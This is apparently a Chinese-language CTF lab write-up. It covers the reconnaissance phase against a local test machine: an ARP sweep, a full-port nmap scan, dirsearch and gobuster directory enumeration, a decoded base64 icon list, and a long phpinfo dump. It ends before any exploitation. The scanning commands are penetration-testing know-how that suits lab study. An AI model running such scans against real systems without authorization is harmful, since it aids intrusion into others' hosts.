信息收集

IP定位

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# arp-scan -l | grep "08:00:27"
3
192.168.0.100   08:00:27:89:6b:14       PCS Systemtechnik GmbH

nmap扫描

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.100
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-13 02:12 EST
4
Nmap scan report for mail.codeshield.hmv (192.168.0.100)
5
Host is up (0.00040s latency).
6
Not shown: 65533 closed tcp ports (conn-refused)
7
PORT   STATE SERVICE VERSION
8
21/tcp open  ftp     vsftpd 3.0.3
9
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
10
| ssh-hostkey:
11
|   3072 0a:0d:44:3c:38:8f:c0:6d:5d:72:18:e6:d9:12:3e:57 (RSA)
12
|   256 4d:7d:ba:6f:a9:88:ea:a2:34:3a:6a:0c:3a:27:1c:d5 (ECDSA)
13
|_  256 74:36:bf:af:8a:53:0a:c1:7f:ca:2e:a1:5c:c5:25:ad (ED25519)
14
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
15
|_http-title: AutoWash - Car Wash Website Template
16
|_http-server-header: Apache/2.4.41 (Ubuntu)
17
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
18

19
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
20
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds

目录扫描

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# dirsearch -u http://192.168.0.100
3

4
  _|. _ _  _  _  _ _|_    v0.4.3
5
 (_||| _) (/_(_|| (_| )
6

7
Extensions: php, aspx, jsp, html, js
8
HTTP method: GET | Threads: 25
9
Wordlist size: 11460
10

11
Output File: /home/kali/Desktop/hmv/reports/http_192.168.0.100/_26-01-13_02-13-43.txt
12

13
Target: http://192.168.0.100/
14

15
[02:13:43] Starting:
16
[02:13:43] 301 -  311B  - /js  ->  http://192.168.0.100/js/
17
[02:13:44] 403 -  278B  - /.ht_wsr.txt
18
[02:13:44] 403 -  278B  - /.htaccess.orig
19
[02:13:44] 403 -  278B  - /.htaccess_orig
20
[02:13:44] 403 -  278B  - /.htaccess_extra
21
[02:13:44] 403 -  278B  - /.htaccessBAK
22
[02:13:44] 403 -  278B  - /.htaccess.bak1
23
[02:13:44] 403 -  278B  - /.htaccessOLD2
24
[02:13:44] 403 -  278B  - /.html
25
[02:13:44] 403 -  278B  - /.htaccess.save
26
[02:13:44] 403 -  278B  - /.htpasswd_test
27
[02:13:44] 403 -  278B  - /.htaccess_sc
28
[02:13:44] 403 -  278B  - /.htaccessOLD
29
[02:13:44] 403 -  278B  - /.htaccess.sample
30
[02:13:44] 403 -  278B  - /.htm
31
[02:13:44] 403 -  278B  - /.httr-oauth
32
[02:13:44] 403 -  278B  - /.htpasswds
33
[02:13:45] 403 -  278B  - /.php
34
[02:13:48] 200 -    3KB - /about.html
35
[02:14:06] 200 -    3KB - /contact.html
36
[02:14:07] 301 -  312B  - /css  ->  http://192.168.0.100/css/
37
[02:14:18] 301 -  312B  - /img  ->  http://192.168.0.100/img/
38
[02:14:21] 200 -  454B  - /js/
39
[02:14:22] 200 -  511B  - /lib/
40
[02:14:22] 301 -  312B  - /lib  ->  http://192.168.0.100/lib/
41
[02:14:22] 200 -  592B  - /LICENSE.txt
42
[02:14:25] 301 -  313B  - /mail  ->  http://192.168.0.100/mail/
43
[02:14:25] 200 -  515B  - /mail/
44
[02:14:43] 403 -  278B  - /server-status
45
[02:14:43] 403 -  278B  - /server-status/
46

47
Task Completed

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# gobuster dir -u http://192.168.0.100 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
3
===============================================================
4
Gobuster v3.6
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://192.168.0.100
8
[+] Method:                  GET
9
[+] Threads:                 64
10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.6
13
[+] Extensions:              bak,js,yaml,php,txt,html,zip,db
14
[+] Timeout:                 10s
15
===============================================================
16
Starting gobuster in directory enumeration mode
17
===============================================================
18
/.html                (Status: 403) [Size: 278]
19
/.php                 (Status: 403) [Size: 278]
20
/contact.html         (Status: 200) [Size: 15151]
21
/blog.html            (Status: 200) [Size: 20094]
22
/img                  (Status: 301) [Size: 312] [--> http://192.168.0.100/img/]
23
/mail                 (Status: 301) [Size: 313] [--> http://192.168.0.100/mail/]
24
/service.html         (Status: 200) [Size: 16853]
25
/about.html           (Status: 200) [Size: 18464]
26
/index.html           (Status: 200) [Size: 39494]
27
/css                  (Status: 301) [Size: 312] [--> http://192.168.0.100/css/]
28
/team.html            (Status: 200) [Size: 18605]
29
/lib                  (Status: 301) [Size: 312] [--> http://192.168.0.100/lib/]
30
/js                   (Status: 301) [Size: 311] [--> http://192.168.0.100/js/]
31
/cd                   (Status: 301) [Size: 311] [--> http://192.168.0.100/cd/]
32
/location.html        (Status: 200) [Size: 14685]
33
/price.html           (Status: 200) [Size: 14635]
34
/price                (Status: 301) [Size: 314] [--> http://192.168.0.100/price/]
35
/prices               (Status: 301) [Size: 315] [--> http://192.168.0.100/prices/]
36
/LICENSE.txt          (Status: 200) [Size: 1309]
37
/single.html          (Status: 200) [Size: 48856]
38
/booking.html         (Status: 200) [Size: 14677]
39
/.html                (Status: 403) [Size: 278]
40
/.php                 (Status: 403) [Size: 278]
41
/phpsysinfo.php       (Status: 200) [Size: 69419]
42
/server-status        (Status: 403) [Size: 278]
43
Progress: 1985031 / 1985040 (100.00%)
44
===============================================================
45
Finished
46
===============================================================

1
eyIxIjp7IklEIjoxLCJuYW1lIjoiTXkgaWNvbnMgY29sbGVjdGlvbiIsImJvb2ttYXJrX2lkIjoibXdsYTJyMGN2cGEwMDAwMCIsImNyZWF0ZWQiOm51bGwsInVwZGF0ZWQiOjE2MDI0MDM3MTEsImFjdGl2ZSI6MSwic291cmNlIjoibG9jYWwiLCJvcmRlciI6MCwiY29sb3IiOiIwMDAwMDAiLCJzdGF0dXMiOjF9LCJtd2xhMnIwY3ZwYTAwMDAwIjpbeyJpZCI6MjA1MjM1NywidGVhbSI6MCwibmFtZSI6ImNhci1zZXJ2aWNlIiwiY29sb3IiOiIjMDAwMDAwIiwicHJlbWl1bSI6MCwic29ydCI6Mn0seyJpZCI6MjA1MjM5OCwidGVhbSI6MCwibmFtZSI6InNlYXQiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0IjozfSx7ImlkIjoyMDUyMzQxLCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXNlcnZpY2UiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo0fSx7ImlkIjoyMDUyNDE3LCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXdhc2giLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo1fSx7ImlkIjoyMDUyMzI0LCJ0ZWFtIjowLCJuYW1lIjoiYnJ1c2giLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo2fSx7ImlkIjoyMDUyNDIxLCJ0ZWFtIjowLCJuYW1lIjoidmFjdXVtLWNsZWFuZXIiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo3fSx7ImlkIjoyMDUyMzY0LCJ0ZWFtIjowLCJuYW1lIjoiYnJ1c2giLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo4fSx7ImlkIjoyMDUyMzUzLCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXNlcnZpY2UiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo5fSx7ImlkIjoyMDUyMzkxLCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXNlcnZpY2UiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0IjoxMH0seyJpZCI6MjA1MjMyMiwidGVhbSI6MCwibmFtZSI6ImNhci13YXNoIiwiY29sb3IiOiIjMDAwMDAwIiwicHJlbWl1bSI6MCwic29ydCI6MX1dfQ==

base64解码后得到

{“1”:{“ID”:1,“name”:“My icons collection”,“bookmark_id”:“mwla2r0cvpa00000”,“created”:null,“updated”:1602403711,“active”:1,“source”:“local”,“order”:0,“color”:“000000”,“status”:1},“mwla2r0cvpa00000”:[{“id”:2052357,“team”:0,“name”:“car-service”,“color”:“#000000”,“premium”:0,“sort”:2},{“id”:2052398,“team”:0,“name”:“seat”,“color”:“#000000”,“premium”:0,“sort”:3},{“id”:2052341,“team”:0,“name”:“car-service”,“color”:“#000000”,“premium”:0,“sort”:4},{“id”:2052417,“team”:0,“name”:“car-wash”,“color”:“#000000”,“premium”:0,“sort”:5},{“id”:2052324,“team”:0,“name”:“brush”,“color”:“#000000”,“premium”:0,“sort”:6},{“id”:2052421,“team”:0,“name”:“vacuum-cleaner”,“color”:“#000000”,“premium”:0,“sort”:7},{“id”:2052364,“team”:0,“name”:“brush”,“color”:“#000000”,“premium”:0,“sort”:8},{“id”:2052353,“team”:0,“name”:“car-service”,“color”:“#000000”,“premium”:0,“sort”:9},{“id”:2052391,“team”:0,“name”:“car-service”,“color”:“#000000”,“premium”:0,“sort”:10},{“id”:2052322,“team”:0,“name”:“car-wash”,“color”:“#000000”,“premium”:0,“sort”:1}]}

/phpsyinfo

1
Ephemeral PHP Info Page
2
PHP logo
3
PHP Version 7.4.3
4
System   Linux ephemeral 5.17.0-051700rc7-generic #202203062330 SMP PREEMPT Sun Mar 6 23:33:35 UTC 2022 x86_64
5
Build Date   Mar 2 2022 15:36:52
6
Server API   Apache 2.0 Handler
7
Virtual Directory Support   disabled
8
Configuration File (php.ini) Path   /etc/php/7.4/apache2
9
Loaded Configuration File   /etc/php/7.4/apache2/php.ini
10
Scan this dir for additional .ini files   /etc/php/7.4/apache2/conf.d
11
Additional .ini files parsed   /etc/php/7.4/apache2/conf.d/10-opcache.ini, /etc/php/7.4/apache2/conf.d/10-pdo.ini, /etc/php/7.4/apache2/conf.d/20-calendar.ini, /etc/php/7.4/apache2/conf.d/20-ctype.ini, /etc/php/7.4/apache2/conf.d/20-exif.ini, /etc/php/7.4/apache2/conf.d/20-ffi.ini, /etc/php/7.4/apache2/conf.d/20-fileinfo.ini, /etc/php/7.4/apache2/conf.d/20-ftp.ini, /etc/php/7.4/apache2/conf.d/20-gettext.ini, /etc/php/7.4/apache2/conf.d/20-iconv.ini, /etc/php/7.4/apache2/conf.d/20-json.ini, /etc/php/7.4/apache2/conf.d/20-phar.ini, /etc/php/7.4/apache2/conf.d/20-posix.ini, /etc/php/7.4/apache2/conf.d/20-readline.ini, /etc/php/7.4/apache2/conf.d/20-shmop.ini, /etc/php/7.4/apache2/conf.d/20-sockets.ini, /etc/php/7.4/apache2/conf.d/20-sysvmsg.ini, /etc/php/7.4/apache2/conf.d/20-sysvsem.ini, /etc/php/7.4/apache2/conf.d/20-sysvshm.ini, /etc/php/7.4/apache2/conf.d/20-tokenizer.ini
12
PHP API   20190902
13
PHP Extension   20190902
14
Zend Extension   320190902
15
Zend Extension Build   API320190902,NTS
16
PHP Extension Build   API20190902,NTS
17
Debug Build   no
18
Thread Safety   disabled
19
Zend Signal Handling   enabled
20
Zend Memory Manager   enabled
21
Zend Multibyte Support   disabled
22
IPv6 Support   enabled
23
DTrace Support   available, disabled
24
Registered PHP Streams  https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
25
Registered Stream Socket Transports  tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
26
Registered Stream Filters  zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
27
Zend logo This program makes use of the Zend Scripting Language Engine:
28
Zend Engine v3.4.0, Copyright (c) Zend Technologies
29
    with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
30
Configuration
31
apache2handler
32
Apache Version   Apache/2.4.41 (Ubuntu)
33
Apache API Version   20120211
34
Server Administrator   webmaster@localhost
35
Hostname:Port   127.0.1.1:80
36
User/Group   www-data(33)/33
37
Max Requests   Per Child: 0 - Keep Alive: on - Max Per Connection: 100
38
Timeouts   Connection: 300 - Keep-Alive: 5
39
Virtual Server   Yes
40
Server Root   /etc/apache2
41
Loaded Modules   core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_deflate mod_dir mod_env mod_filter mod_mime prefork mod_negotiation mod_php7 mod_reqtimeout mod_setenvif mod_status
42
Directive  Local Value  Master Value
43
engine  1  1
44
last_modified  0  0
45
xbithack  0  0
46
Apache Environment
47
Variable  Value
48
HTTP_HOST   192.168.0.100
49
HTTP_USER_AGENT   Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
50
HTTP_ACCEPT   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
51
HTTP_ACCEPT_LANGUAGE   zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
52
HTTP_ACCEPT_ENCODING   gzip, deflate
53
HTTP_CONNECTION   keep-alive
54
HTTP_UPGRADE_INSECURE_REQUESTS   1
55
HTTP_PRIORITY   u=0, i
56
PATH   /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
57
SERVER_SIGNATURE   <address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.100 Port 80</address>
58
SERVER_SOFTWARE   Apache/2.4.41 (Ubuntu)
59
SERVER_NAME   192.168.0.100
60
SERVER_ADDR   192.168.0.100
61
SERVER_PORT   80
62
REMOTE_ADDR   192.168.0.106
63
DOCUMENT_ROOT   /var/www/html
64
REQUEST_SCHEME   http
65
CONTEXT_PREFIX   no value
66
CONTEXT_DOCUMENT_ROOT   /var/www/html
67
SERVER_ADMIN   webmaster@localhost
68
SCRIPT_FILENAME   /var/www/html/phpsysinfo.php
69
REMOTE_PORT   52058
70
GATEWAY_INTERFACE   CGI/1.1
71
SERVER_PROTOCOL   HTTP/1.1
72
REQUEST_METHOD   GET
73
QUERY_STRING   no value
74
REQUEST_URI   /phpsysinfo.php
75
SCRIPT_NAME   /phpsysinfo.php
76
HTTP Headers Information
77
HTTP Request Headers
78
HTTP Request   GET /phpsysinfo.php HTTP/1.1
79
Host   192.168.0.100
80
User-Agent   Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
81
Accept   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
82
Accept-Language   zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
83
Accept-Encoding   gzip, deflate
84
Connection   keep-alive
85
Upgrade-Insecure-Requests   1
86
Priority   u=0, i
87
HTTP Response Headers
88
calendar
89
Calendar support   enabled
90
Core
91
PHP Version   7.4.3
92
Directive  Local Value  Master Value
93
allow_url_fopen  On  On
94
allow_url_include  Off  Off
95
arg_separator.input  &  &
96
arg_separator.output  &  &
97
auto_append_file  no value  no value
98
auto_globals_jit  On  On
99
auto_prepend_file  no value  no value
100
browscap  no value  no value
101
default_charset  UTF-8  UTF-8
102
default_mimetype  text/html  text/html
103
disable_classes  no value  no value
104
disable_functions  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
105
display_errors  Off  Off
106
display_startup_errors  Off  Off
107
doc_root  no value  no value
108
docref_ext  no value  no value
109
docref_root  no value  no value
110
enable_dl  Off  Off
111
enable_post_data_reading  On  On
112
error_append_string  no value  no value
113
error_log  no value  no value
114
error_prepend_string  no value  no value
115
error_reporting  22527  22527
116
expose_php  Off  Off
117
extension_dir  /usr/lib/php/20190902  /usr/lib/php/20190902
118
file_uploads  On  On
119
hard_timeout  2  2
120
highlight.comment  #FF8000  #FF8000
121
highlight.default  #0000BB  #0000BB
122
highlight.html  #000000  #000000
123
highlight.keyword  #007700  #007700
124
highlight.string  #DD0000  #DD0000
125
html_errors  On  On
126
ignore_repeated_errors  Off  Off
127
ignore_repeated_source  Off  Off
128
ignore_user_abort  Off  Off
129
implicit_flush  Off  Off
130
include_path  .:/usr/share/php  .:/usr/share/php
131
input_encoding  no value  no value
132
internal_encoding  no value  no value
133
log_errors  On  On
134
log_errors_max_len  1024  1024
135
mail.add_x_header  Off  Off
136
mail.force_extra_parameters  no value  no value
137
mail.log  no value  no value
138
max_execution_time  30  30
139
max_file_uploads  20  20
140
max_input_nesting_level  64  64
141
max_input_time  60  60
142
max_input_vars  1000  1000
143
memory_limit  128M  128M
144
open_basedir  no value  no value
145
output_buffering  4096  4096
146
output_encoding  no value  no value
147
output_handler  no value  no value
148
post_max_size  8M  8M
149
precision  14  14
150
realpath_cache_size  4096K  4096K
151
realpath_cache_ttl  120  120
152
register_argc_argv  Off  Off
153
report_memleaks  On  On
154
report_zend_debug  On  On
155
request_order  GP  GP
156
sendmail_from  no value  no value
157
sendmail_path  /usr/sbin/sendmail -t -i   /usr/sbin/sendmail -t -i
158
serialize_precision  -1  -1
159
short_open_tag  Off  Off
160
SMTP  localhost  localhost
161
smtp_port  25  25
162
sys_temp_dir  no value  no value
163
syslog.facility  LOG_USER  LOG_USER
164
syslog.filter  no-ctrl  no-ctrl
165
syslog.ident  php  php
166
track_errors  Off  Off
167
unserialize_callback_func  no value  no value
168
upload_max_filesize  2M  2M
169
upload_tmp_dir  no value  no value
170
user_dir  no value  no value
171
user_ini.cache_ttl  300  300
172
user_ini.filename  .user.ini  .user.ini
173
variables_order  GPCS  GPCS
174
xmlrpc_error_number  0  0
175
xmlrpc_errors  Off  Off
176
zend.assertions  -1  -1
177
zend.detect_unicode  On  On
178
zend.enable_gc  On  On
179
zend.exception_ignore_args  On  On
180
zend.multibyte  Off  Off
181
zend.script_encoding  no value  no value
182
zend.signal_check  Off  Off
183
ctype
184
ctype functions   enabled
185
date
186
date/time support   enabled
187
timelib version   2018.03
188
"Olson" Timezone Database Version   0.system
189
Timezone Database   internal
190
Default timezone   America/Denver
191
Directive  Local Value  Master Value
192
date.default_latitude  31.7667  31.7667
193
date.default_longitude  35.2333  35.2333
194
date.sunrise_zenith  90.583333  90.583333
195
date.sunset_zenith  90.583333  90.583333
196
date.timezone  no value  no value
197
exif
198
EXIF Support   enabled
199
Supported EXIF Version   0220
200
Supported filetypes   JPEG, TIFF
201
Multibyte decoding support using mbstring   disabled
202
Extended EXIF tag formats   Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
203
Directive  Local Value  Master Value
204
exif.decode_jis_intel  JIS  JIS
205
exif.decode_jis_motorola  JIS  JIS
206
exif.decode_unicode_intel  UCS-2LE  UCS-2LE
207
exif.decode_unicode_motorola  UCS-2BE  UCS-2BE
208
exif.encode_jis  no value  no value
209
exif.encode_unicode  ISO-8859-15  ISO-8859-15
210
FFI
211
FFI support  enabled
212
Directive  Local Value  Master Value
213
ffi.enable  preload  preload
214
ffi.preload  no value  no value
215
fileinfo
216
fileinfo support   enabled
217
libmagic   537
218
filter
219
Input Validation and Filtering   enabled
220
Directive  Local Value  Master Value
221
filter.default  unsafe_raw  unsafe_raw
222
filter.default_flags  no value  no value
223
ftp
224
FTP support   enabled
225
FTPS support   enabled
226
gettext
227
GetText Support   enabled
228
hash
229
hash support   enabled
230
Hashing Engines   md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
231
MHASH support   Enabled
232
MHASH API Version   Emulated Support
233
iconv
234
iconv support   enabled
235
iconv implementation   glibc
236
iconv library version   2.31
237
Directive  Local Value  Master Value
238
iconv.input_encoding  no value  no value
239
iconv.internal_encoding  no value  no value
240
iconv.output_encoding  no value  no value
241
json
242
json support   enabled
243
libxml
244
libXML support   active
245
libXML Compiled Version   2.9.10
246
libXML Loaded Version   20910
247
libXML streams   enabled
248
openssl
249
OpenSSL support   enabled
250
OpenSSL Library Version   OpenSSL 1.1.1f 31 Mar 2020
251
OpenSSL Header Version   OpenSSL 1.1.1f 31 Mar 2020
252
Openssl default config   /usr/lib/ssl/openssl.cnf
253
Directive  Local Value  Master Value
254
openssl.cafile  no value  no value
255
openssl.capath  no value  no value
256
pcre
257
PCRE (Perl Compatible Regular Expressions) Support   enabled
258
PCRE Library Version   10.34 2019-11-21
259
PCRE Unicode Version   12.1.0
260
PCRE JIT Support   enabled
261
PCRE JIT Target   x86 64bit (little endian + unaligned)
262
Directive  Local Value  Master Value
263
pcre.backtrack_limit  1000000  1000000
264
pcre.jit  1  1
265
pcre.recursion_limit  100000  100000
266
PDO
267
PDO support  enabled
268
PDO drivers   no value
269
Phar
270
Phar: PHP Archive support  enabled
271
Phar API version   1.1.1
272
Phar-based phar archives   enabled
273
Tar-based phar archives   enabled
274
ZIP-based phar archives   enabled
275
gzip compression   enabled
276
bzip2 compression   disabled (install ext/bz2)
277
Native OpenSSL support   enabled
278
Phar based on pear/PHP_Archive, original concept by Davey Shafik.
279
Phar fully realized by Gregory Beaver and Marcus Boerger.
280
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
281
Directive  Local Value  Master Value
282
phar.cache_list  no value  no value
283
phar.readonly  On  On
284
phar.require_hash  On  On
285
posix
286
POSIX support   enabled
287
readline
288
Readline Support  enabled
289
Readline library   EditLine wrapper
290
Directive  Local Value  Master Value
291
cli.pager  no value  no value
292
cli.prompt  \b \>   \b \>
293
Reflection
294
Reflection   enabled
295
session
296
Session Support   enabled
297
Registered save handlers   files user
298
Registered serializer handlers   php_serialize php php_binary
299
Directive  Local Value  Master Value
300
session.auto_start  Off  Off
301
session.cache_expire  180  180
302
session.cache_limiter  nocache  nocache
303
session.cookie_domain  no value  no value
304
session.cookie_httponly  no value  no value
305
session.cookie_lifetime  0  0
306
session.cookie_path  /  /
307
session.cookie_samesite  no value  no value
308
session.cookie_secure  0  0
309
session.gc_divisor  1000  1000
310
session.gc_maxlifetime  1440  1440
311
session.gc_probability  0  0
312
session.lazy_write  On  On
313
session.name  PHPSESSID  PHPSESSID
314
session.referer_check  no value  no value
315
session.save_handler  files  files
316
session.save_path  /var/lib/php/sessions  /var/lib/php/sessions
317
session.serialize_handler  php  php
318
session.sid_bits_per_character  5  5
319
session.sid_length  26  26
320
session.upload_progress.cleanup  On  On
321
session.upload_progress.enabled  On  On
322
session.upload_progress.freq  1%  1%
323
session.upload_progress.min_freq  1  1
324
session.upload_progress.name  PHP_SESSION_UPLOAD_PROGRESS  PHP_SESSION_UPLOAD_PROGRESS
325
session.upload_progress.prefix  upload_progress_  upload_progress_
326
session.use_cookies  1  1
327
session.use_only_cookies  1  1
328
session.use_strict_mode  0  0
329
session.use_trans_sid  0  0
330
shmop
331
shmop support   enabled
332
sockets
333
Sockets Support   enabled
334
sodium
335
sodium support  enabled
336
libsodium headers version   1.0.18
337
libsodium library version   1.0.18
338
SPL
339
SPL support  enabled
340
Interfaces   OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
341
Classes   AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
342
standard
343
Dynamic Library Support   enabled
344
Path to sendmail   /usr/sbin/sendmail -t -i
345
Directive  Local Value  Master Value
346
assert.active  1  1
347
assert.bail  0  0
348
assert.callback  no value  no value
349
assert.exception  0  0
350
assert.quiet_eval  0  0
351
assert.warning  1  1
352
auto_detect_line_endings  0  0
353
default_socket_timeout  60  60
354
from  no value  no value
355
session.trans_sid_hosts  no value  no value
356
session.trans_sid_tags  a=href,area=href,frame=src,form=  a=href,area=href,frame=src,form=
357
unserialize_max_depth  4096  4096
358
url_rewriter.hosts  no value  no value
359
url_rewriter.tags  form=  form=
360
user_agent  no value  no value
361
sysvmsg
362
sysvmsg support   enabled
363
sysvsem
364
sysvsem support   enabled
365
sysvshm
366
sysvshm support   enabled
367
tokenizer
368
Tokenizer Support   enabled
369
Zend OPcache
370
Opcode Caching   Up and Running
371
Optimization   Enabled
372
SHM Cache   Enabled
373
File Cache   Disabled
374
Startup   OK
375
Shared memory model   mmap
376
Cache hits   1
377
Cache misses   2
378
Used memory   9169552
379
Free memory   125048176
380
Wasted memory   0
381
Interned Strings Used memory   189744
382
Interned Strings Free memory   6101264
383
Cached scripts   2
384
Cached keys   2
385
Max keys   16229
386
OOM restarts   0
387
Hash keys restarts   0
388
Manual restarts   0
389
Directive  Local Value  Master Value
390
opcache.blacklist_filename  no value  no value
391
opcache.consistency_checks  0  0
392
opcache.dups_fix  Off  Off
393
opcache.enable  On  On
394
opcache.enable_cli  Off  Off
395
opcache.enable_file_override  Off  Off
396
opcache.error_log  no value  no value
397
opcache.file_cache  no value  no value
398
opcache.file_cache_consistency_checks  1  1
399
opcache.file_cache_only  0  0
400
opcache.file_update_protection  2  2
401
opcache.force_restart_timeout  180  180
402
opcache.huge_code_pages  Off  Off
403
opcache.interned_strings_buffer  8  8
404
opcache.lockfile_path  /tmp  /tmp
405
opcache.log_verbosity_level  1  1
406
opcache.max_accelerated_files  10000  10000
407
opcache.max_file_size  0  0
408
opcache.max_wasted_percentage  5  5
409
opcache.memory_consumption  128  128
410
opcache.opt_debug_level  0  0
411
opcache.optimization_level  0x7FFEBFFF  0x7FFEBFFF
412
opcache.preferred_memory_model  no value  no value
413
opcache.preload  no value  no value
414
opcache.preload_user  no value  no value
415
opcache.protect_memory  0  0
416
opcache.restrict_api  no value  no value
417
opcache.revalidate_freq  2  2
418
opcache.revalidate_path  Off  Off
419
opcache.save_comments  1  1
420
opcache.use_cwd  On  On
421
opcache.validate_permission  Off  Off
422
opcache.validate_root  Off  Off
423
opcache.validate_timestamps  On  On
424
zlib
425
ZLib Support  enabled
426
Stream Wrapper   compress.zlib://
427
Stream Filter   zlib.inflate, zlib.deflate
428
Compiled Version   1.2.11
429
Linked Version   1.2.11
430
Directive  Local Value  Master Value
431
zlib.output_compression  Off  Off
432
zlib.output_compression_level  -1  -1
433
zlib.output_handler  no value  no value
434
Additional Modules
435
Module Name
436
Environment
437
Variable  Value
438
APACHE_RUN_DIR   /var/run/apache2
439
APACHE_PID_FILE   /var/run/apache2/apache2.pid
440
JOURNAL_STREAM   8:23251
441
PATH   /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
442
INVOCATION_ID   3e18f41ea23e444d91aece512878f6db
443
APACHE_LOCK_DIR   /var/lock/apache2
444
LANG   C
445
APACHE_RUN_USER   www-data
446
APACHE_RUN_GROUP   www-data
447
APACHE_LOG_DIR   /var/log/apache2
448
PWD   /
449
PHP Variables
450
Variable  Value
451
$_SERVER['HTTP_HOST']  192.168.0.100
452
